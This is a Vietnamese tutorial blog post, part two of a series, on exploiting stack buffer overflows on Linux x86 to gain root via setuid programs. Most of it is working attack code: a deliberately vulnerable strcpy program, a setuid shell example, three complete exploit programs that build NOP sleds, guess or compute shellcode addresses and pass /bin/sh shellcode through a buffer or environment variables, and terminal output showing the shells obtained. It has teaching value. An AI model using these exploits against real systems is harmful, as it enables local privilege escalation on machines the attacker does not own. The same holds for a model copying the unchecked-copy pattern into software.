Trao đổi với tôi

http://www.buidao.com

3/3/10

[Hacking] Kỹ thuật khai thác lỗi tràn bộ đệm - Phần II

Tóm tắt

Trong phần trước ta đã xem xét chi tiết về tổ chức bộ nhớ, stack, gọi hàm để hiểu được tường tận tại sao khi tràn bộ đệm xảy ra có thể thay đổi giá trị thanh ghi con trỏ lệnh %eip, từ đó có thể thực thi mã lệnh bất kỳ. Ta cũng đã biết cách tạo một shellcode đơn giản để chèn vào giữa chương trình bị lỗi. Trong phần tiếp theo này, chúng ta sẽ xem xét một số kỹ thuật cơ bản để khai thác lỗi tràn bộ đệm.


Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm

Mục lục

  • 1. Quyền root và chương trình setuid/setgid

  • 2. Chương trình bị tràn bộ đệm

  • 3. Tổ chức shellcode trên bộ nhớ

  • 4. Xác định địa chỉ shellcode

  • 5. Viết chương trình khai thác lỗi tràn bộ đệm

    • 5.1. Truyền shellcode qua bộ đệm

    • 5.2. Truyền shellcode qua biến môi trường

  • 6. Kết luận

  • Tài liệu tham khảo

  • Liên kết

1. Quyền root và chương trình setuid/setgid

Trên các hệ điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền thống cho phép user root (superuser) có quyền tối cao có thể thực hiện mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi hỏi buộc phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu (phải cập nhật file /etc/passwd). Để người dùng bình thường có thể thực hiện được các thao tác này, hệ thống UNIX cung cấp một cơ chế thiết lập quyền thực tế của tiến trình đang thực thi thông qua các hàm thiết lập quyền như setuid()/setgid(), seteuid()/setegid(), setruid()/setrgid(). Quyền thực tế sẽ được hệ thống tự động thiết lập thông qua bit thuộc tính suid/sgid của file chương trình. Ví dụ chương trình passwd được suid root:

-r-s--x--x    1 root     root        12244 Feb  8  2000 /usr/bin/passwd

Khi user bình thường thực thi chương trình, quyền thực tế có được sẽ là quyền của người sở hữu (owner) file, ở đây là root. Do yêu cầu sử dụng, trên hệ thống UNIX thường có nhiều file chương trình được thiết lập thuộc tính suid (cho owner, group). Ví dụ sau sẽ minh hoạ rõ hơn điều này:

/* suidsh.c */
void main() {
 setuid(0);
 system("/bin/sh");
}

[SkZ0@gamma bof]$ gcc -o suidsh suidsh.c
[SkZ0@gamma bof]$ su
Password:
# chown root.root suidsh
# chmod 4755 suidsh
# exit
[SkZ0@gamma bof]$ ls -l suidsh
-rwsr-xr-x    1 root     root        13637 Mar 26 15:54 suidsh
[SkZ0@gamma bof]$ id
uid=501(SkZ0) gid=501(SkZ0) groups=501(SkZ0)
[SkZ0@gamma bof]$ ./suidsh
bash# id
uid=0(root) gid=501(SkZ0) groups=501(SkZ0)

Có thể thấy, nếu chương trình suid/sgid bị lỗi bảo mật, hacker sẽ tận dụng điều này để điều khiển chương trình thực hiện mã lệnh bất kỳ trên hệ thống với quyền cao hơn và thậm chí với quyền cao nhất root. Đó chính là mục đích của việc khai thác các lỗ hổng bảo mật trên máy tại chỗ (local).

2. Chương trình bị tràn bộ đệm

Để minh hoạ cách tổ chức và chèn shellcode vào chương trình bị lỗi, ta sẽ sửa lại một chút chương trình vuln.c đã ví dụ ở phần 1:

/* vuln1.c */
int main(int argc, char **argv)
{
 char buf[500];
 if (argc>1) {
   strcpy(buf, argv[1]);
   printf("%s\n", buf);
 }
}

Kích thước của bộ đệm buf là 500 byte. Từ những trình bày ở phần trước, để khai thác lỗi tràn bộ đệm trong chương trình vuln1.c chúng ta chỉ cần ghi đè giá trị của "con trỏ lệnh bảo lưu" (saved instruction pointer) được lưu trên stack bằng địa chỉ mã lệnh mong muốn, ở đây chính là địa chỉ bắt đầu của shellcode. Như vậy chúng ta cần phải sắp xếp shellcode ở đâu đó trên bộ nhớ stack và xác định địa chỉ bắt đầu của nó.

3. Tổ chức shellcode trên bộ nhớ

Vấn đề của việc tổ chức shellcode trên bộ nhớ là làm thế nào để chương trình khai thác lỗi có thể xác định được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Thông thường, ta không thể biết một cách chính xác địa chỉ của bộ đệm trong chương trình bị lỗi (phụ thuộc vào biến môi trường, tham số khi thực thi), do đó ta sẽ xác định một cách gần đúng. Điều này có nghĩa chúng ta phải tổ chức bộ đệm chứa shellcode sao cho khi bắt đầu ở một địa chỉ có thể lệch so với địa chỉ chính xác mà shellcode vẫn thực thi không hề bị ảnh hưởng. Lệnh máy NOP (No OPeration) giúp ta đạt được điều này. Khi gặp một lệnh NOP, CPU sẽ không làm gì cả ngoài việc tăng con trỏ lệnh đến lệnh kế tiếp.

Như vậy, chúng ta sẽ lấp đầy phần đầu của bộ đệm bằng các lệnh NOP, kế đó là shellcode. Hơn nữa, để không phải tính toán chính xác vị trí lưu con trỏ lệnh bảo lưu trên stack, chúng ta sẽ chỉ đặt shellcode ở khoảng giữa của bộ đệm, phần còn lại sẽ chứa toàn các giá trị địa chỉ bắt đầu của shellcode. Cuối cùng, bộ đệm chứa shellcode sẽ có dạng:

Hình 1: Tổ chức shellcode trên bộ nhớ

[buffer]

Hình sau mô tả trạng thái của stack trước và sau khi tràn bộ đệm xảy ra.

Hình 2: Trạng thái stack trước và sau khi tràn bộ đệm

stack_bef

stack_aft

Before

After

Có một vấn đề cũng cấn lưu ý ở đây là sự sắp xếp (alignment) biến trên stack. Giá trị địa chỉ có độ dài 4 byte (32 bit), vì vậy khi được sắp vào stack không phải lúc nào cũng chính xác như mong muốn. Ở phần trước chúng ta đã biết stack sử dụng đơn vị là word có độ dài 4 byte, do đó độ lệch do sắp không đúng sẽ là 1, 2 hoặc 3 byte.

Hình 3: Các khả năng sắp xếp biến trên stack

[align]

Chỉ có một trường hợp sắp xếp đúng sẽ làm việc, các trường hợp khác sẽ dẫn đến báo lỗi "segmentation violation" hoặc "illegal instruction", tuy nhiên chúng ta có thể sử dụng phương pháp "thử và sai" để tìm được sự sắp xếp đúng trong bộ nhớ không mấy khó khăn.

4. Xác định địa chỉ shellcode

Vấn đề quan trọng nhất là làm thế nào để "đoán trước" được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Nhờ cách tổ chức shellcode với các NOP ở trên, địa chỉ này chỉ cần gần đúng sao cho rơi vào khoảng giữa các lệnh NOP trên bộ đệm shellcode.

Một điểm đặc biệt là mọi chương trình khi thực thi đều có địa chỉ bắt đầu stack như nhau (lưu ý: trên không gian địa chỉ ảo. Ví dụ: giá trị này trên Linux là 0xbfffffff, trên FreeBSD là 0xbfbfffff) và thường các chương trình ít khi push vào stack ngay một lúc vài ngàn byte. Do đó, ta có thể đoán được địa chỉ bắt đầu của bộ đệm chứa shellcode trên stack trong chương trình bị lỗi dựa vào độ lệch so với địa chỉ đỉnh stack hiện tại của chương trình khai thác lỗi. Độ lệch này có thể mang giá trị âm hoặc giá trị dương (xem lại phần 1).

Đoạn chương trình sau sẽ in ra giá trị của con trỏ stack SP:

/* sp.c */
unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}

void main() {
 printf("0x%x\n", get_sp());
}

[SkZ0@gamma bof]$ gcc -o sp sp.c
[SkZ0@gamma bof]$ ./sp
0xbffffa50
[SkZ0@gamma bof]$

Địa chỉ gần đúng của bộ đệm chứa shellcode sẽ được xác định theo công thức:

SP +(-) OFFSET

5. Viết chương trình khai thác lỗi tràn bộ đệm

Chúng ta đã biết những gì cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại. Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn (như ở phần trên), xác định địa chỉ trả về (RET) và độ lệch do sắp biến, xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi thực thi chương trình bị tràn bộ đệm.

Có một số cách để tổ chức shellcode trên bộ nhớ và truyền cho chương trình bị lỗi, trước tiên chúng ta sẽ xem xét phương pháp cơ bản nhất: shellcode được truyền thông qua bộ đệm của chương trình bị lỗi. Phương pháp này không phải là cách dễ dàng nhất để khai thác lỗi tràn bộ đệm trên máy tại chỗ (local) nhưng đây là cách tổng quát nhất để khai thác lỗi tràn bộ đệm tại chỗ cũng như từ xa.

Xem trong ví dụ trên, shellcode sẽ được tổ chức và truyền qua bộ đệm buf của chương trình vuln1.c

5.1. Truyền shellcode qua bộ đệm

Chương trình khai thác lỗi tràn bộ đệm sau của chúng ta sẽ nhận 3 giá trị tham số: tên chương trình bị lỗi, kích thước bộ đệm dùng để làm tràn và giá trị độ dời so với con trỏ stack hiện tại (ví trị dự đoán của bộ đệm chứa shellcode).

/* exploit1.c */
#include 

#define DEFAULT_OFFSET                  0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                             0x90 // mã asm của lệnh NOP

char shellcode[] =
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
 "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";
 
unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
 char *buff, *ptr;
 long *addr_ptr, addr;
 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
 int i;

 if (argc < 2) {
   printf("Usage: %s target [bsize offset]\n", argv[0]);
   exit(0);
 }

 if (argc > 2) bsize  = atoi(argv[2]);
 if (argc > 3) offset = atoi(argv[3]);
 
 if (!(buff = malloc(bsize))) {
   printf("Can't allocate memory.\n");
   exit(0);
 }

 addr = get_sp() - offset;
 printf("Using address: 0x%x\n", addr);

 ptr = buff;
 /* lấp đầy bộ đệm làm tràn với các địa chỉ của shellcode */
 addr_ptr = (long *) ptr;
 for (i = 0; i < bsize; i+=4)
   *(addr_ptr++) = addr;

 /* lấp đầy nửa đầu vói các lệnh NOP */
 for (i = 0; i < bsize/2; i++)
   buff[i] = NOP;

 /* tiếp theo là shellcode */
 ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
 for (i = 0; i < strlen(shellcode); i++)
   *(ptr++) = shellcode[i];

 buff[bsize - 1] = '\0';

 execl(argv[1],argv[1],buff,NULL);
}

Chương trình trên cấp phát bộ đệm dùng để làm tràn trên heap, lý do tại sao xin dành cho người đọc tự trả lời.

Kích thước của bộ đệm dùng làm tràn lớn hơn so với bộ đệm bị tràn khoảng 100 byte là tốt nhất. Khi đó bộ đệm làm tràn có phần đầu khá lớn chứa các NOP, phần cuối chứa shellcode và địa chỉ đủ để làm tràn và ghi đè lên giá trị địa chỉ trả về (RET).

Hãy thử chương trình khai thác lỗi vừa viết.

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600
Using address: 0xbffffa1c

( ... )

bash$

Thử với giá trị độ dời:

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 100
Using address: 0xbffff9a8

( ... )

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 -100
Using address: 0xbffffa70

( ... )

bash$

5.2. Truyền shellcode qua biến môi trường

Bây giờ, hãy quay trở lại với ví dụ đầu tiên, chương trình vuln.c (xem phần 1). Có thể thấy chương trình exploit1.c không thể khai thác được lỗi tràn bộ đệm trong vuln.c do kích thước bộ đệm bị tràn quá nhỏ (16 byte) không đủ để đặt vừa shellcode. Khi đó địa chỉ trả về sẽ bị ghi đè bởi các mã lệnh thay vì giá trị địa chỉ cần nhảy đến. Để vượt qua trở ngại này, chúng ta sẽ dùng một "bộ đệm" khác để lưu trữ shellcode. Thông thường có thể dùng biến môi trường (environment) hoặc một tham số dòng lệnh chương trình (argument) để chứa shellcode do các biến này đều được cấp trên stack, tuy nhiên sử dụng biến môi trường là phương pháp đơn giản và hiệu quả hơn. Với shellcode được chứa trong biến môi trường, bộ đệm dùng để làm tràn chỉ đơn giản chứa toàn giá trị địa chỉ (phỏng đoán) của biến môi trường chứa shellcode.

Chương trình exploit1.c được sửa lại như sau (có thêm một tham số là kích thước của bộ đệm chứa shellcode). 

/* exploit2.c */
#include 

#define DEFAULT_OFFSET                  0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE                2048
#define NOP                             0x90 // mã asm của lệnh NOP

char shellcode[] =
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
 "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

unsigned long get_esp(void) {
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
 char *buff, *ptr, *egg;
 long *addr_ptr, addr;
 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
 int i, eggsize=DEFAULT_EGG_SIZE;

 if (argc < 2) {
   printf("Usage: %s target [bsize offset eggsize]\n", argv[0]);
   exit(0);
 }

 if (argc > 2) bsize   = atoi(argv[2]);
 if (argc > 3) offset  = atoi(argv[3]);
 if (argc > 4) eggsize = atoi(argv[4]);

 if (!(buff = malloc(bsize))) {
   printf("Can't allocate memory.\n");
   exit(0);
 }
 if (!(egg = malloc(eggsize))) {
   printf("Can't allocate memory.\n");
   exit(0);
 }

 addr = get_esp() - offset;
 printf("Using address: 0x%x\n", addr);

 /* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
 ptr = buff;
 addr_ptr = (long *) ptr;
 for (i = 0; i < bsize; i+=4)
   *(addr_ptr++) = addr;

 /* NOP+shellcode được đặt trong biến môi trường */
 ptr = egg;
 for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
   *(ptr++) = NOP;

 for (i = 0; i < strlen(shellcode); i++)
   *(ptr++) = shellcode[i];

 buff[bsize - 1] = '\0';
 egg[eggsize - 1] = '\0';

 setenv("EGG", egg, 1);
 execl(argv[1],argv[1],buff,NULL);
}

Hãy thử chương trình khai thác lỗi mới:

[SkZ0@gamma bof]$ ./exploit2 ./vuln
Using address: 0xbffffa18

( ... )

bash$

Có thể thấy cách sử dụng biến môi trường khá hiệu quả. Phương pháp sau (chỉ áp dụng cho Linux x86) cũng sử dụng biến môi trường để chứa shellcode nhưng xác định được chính xác địa chỉ của biến môi trường này. Do đó, ta không cần phải lấp đầy các NOP vào đầu bộ đệm chứa shellcode, cũng như địa chỉ shellcode được xác định chính xác thay vì phải phỏng đoán.

Phần địa chỉ cao nhất (tương đương phần đáy của stack) của một file chương trình ELF, Linux x86 có dạng:

Hình 4: Cấu trúc đáy stack của Linux x86

linux_stack

Ta thấy, địa chỉ biến môi trường cuối cùng được tính theo công thức sau: 

envpn = 0xBFFFFFFF -
       4 -  // 4 NULL bytes
       strlen(program_name) - // chiều dài chuỗi tên chương trình
 1 -   // giá trị null của chuỗi tên chương trình  
      strlen(envp[n])) // độ dài của biến môi trường cuối cùng

hay rút gọn:
envpn = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])

Các hàm gọi thực thi chương trình như execle, execve cho phép truyền con trỏ biến môi trường cho chương trình được gọi. Tận dụng điều này chúng ta có thể truyền trực tiếp bộ đệm chứa shellcode cho chương trình bị lỗi thông qua con trỏ biến môi trường, và tính được chính xác địa chỉ của nó.

Công thức để tính đia chỉ của shellcode:

addr = 0xBFFFFFFA - strlen(prog_name) - strlen(shellcode);

Chương trình khai thác lỗi mới được viết như sau:

/* exploit3.c */
#include 

#define DEFAULT_BUFFER_SIZE             512
#define NOP                             0x90 // mã asm của lệnh NOP

char shellcode[] =
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
 "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

void main(int argc, char *argv[]) {
 char *buff, *ptr, *egg;
 long *addr_ptr, addr;
 int bsize=DEFAULT_BUFFER_SIZE;
 int i;

 char *env[2] = {shellcode, NULL};

 if (argc < 2) {
   printf("Usage: %s target [bsize]\n", argv[0]);
   exit(0);
 }

 if (argc > 2) bsize   = atoi(argv[2]);

 if (!(buff = malloc(bsize))) {
   printf("Can't allocate memory.\n");
   exit(0);
 }

 addr = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);
 printf("Using address: 0x%x\n", addr);

 /* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
 ptr = buff;
 addr_ptr = (long *) ptr;
 for (i = 0; i < bsize; i+=4)
   *(addr_ptr++) = addr;
 buff[bsize - 1] = '\0';

 execle(argv[1],argv[1],buff,NULL,env);
}

Trong chương trình trên, chúng ta đã truyền cho chương trình bị lỗi con trỏ biến môi trường chỉ với một biến duy nhất là bộ đệm chứa shellcode, do đó độ dài của biến môi trường chính là độ dài của shellcode. Thử chương trình khai thác lỗi mới này:

[SkZ0@gamma bof]$ ./exploit3 ./vuln
Using address: 0xbfffffd4

( ... )

bash$

6. Kết luận

Hy vọng những gì đã trình bày có thể giúp các bạn hiểu được nguyên nhân và hậu quả dẫn đến của lỗi tràn bộ đệm. Kỹ thuật khai thác lỗi tràn bộ đệm là hoàn toàn không khó khi đã có cơ sở lý thuyết hết sức rõ ràng, mặc dù nó đòi hỏi phải có hiểu biết chút ít về ngôn ngữ lập trình. Việc tránh lỗi bộ đệm xảy ra cũng có thể đạt được không mấy khó khăn, đó là thực hiện nguyên tắc: tạo các chương trình an toàn ngay từ khi thiết kế.

Tài liệu tham khảo

  1. Smashing The Stack For Fun And Profit - Aleph1

  2. Avoiding security holes when developing an application - Frédéric Raynal, Christophe Blaess, Christophe Grenier

  3. BUFFER OVERFLOWS DEMYSTIFIED - Murat Balaban

  4. Writing buffer overflow exploits - a tutorial for beginners - Mixter

Liên kết

SeekZero -Theo VNSecurity
Được đăng bởi Lúc